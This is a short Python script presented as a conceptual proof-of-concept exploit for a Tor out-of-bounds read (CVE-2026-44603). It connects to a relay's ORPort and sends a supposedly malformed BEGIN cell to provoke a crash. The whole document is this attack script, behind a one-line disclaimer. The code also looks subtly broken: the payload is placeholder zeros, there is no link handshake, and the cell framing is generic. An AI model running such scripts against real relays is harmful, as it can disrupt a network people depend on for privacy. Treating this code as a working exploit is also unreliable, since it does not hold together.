The following code is for security research and authorized testing only.
python
import socket
import struct
# Conceptual Proof of Concept for CVE-2026-44603
# Demonstrates sending a malformed cell structure to Tor
# Note: Actual exploitation requires precise protocol manipulation.
def exploit(target_ip, target_port):
try:
# Establish TCP connection to Tor ORPort
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Construct a malformed Cell
# Tor Cell structure: Circuit ID (2/4 bytes) + Command (1 byte) + Payload (Length specified)
# To trigger OOB read, we manipulate the parsing of the BEGIN cell.
circuit_id = 0x00000000 # Example Circuit ID
cmd_begin = 1 # BEGIN command
# Malformed payload designed to trigger the off-by-one read
# The exact payload depends on the specific parsing logic of Tor < 0.4.9.7
payload = b'\x00' * 509 # Example length near boundary
# Pack the header (assuming version 3 or 4 link protocol)
# This is a generic template
packet = struct.pack('!IB', circuit_id, cmd_begin) + payload
s.send(packet)
print(f"[+] Malformed packet sent to {target_ip}:{target_port}")
response = s.recv(1024)
if not response:
print("[-] Connection closed (Possible Crash)")
else:
print("[+] Received response")
s.close()
except Exception as e:
print(f"Error: {e}")
# Usage: exploit("127.0.0.1", 9001)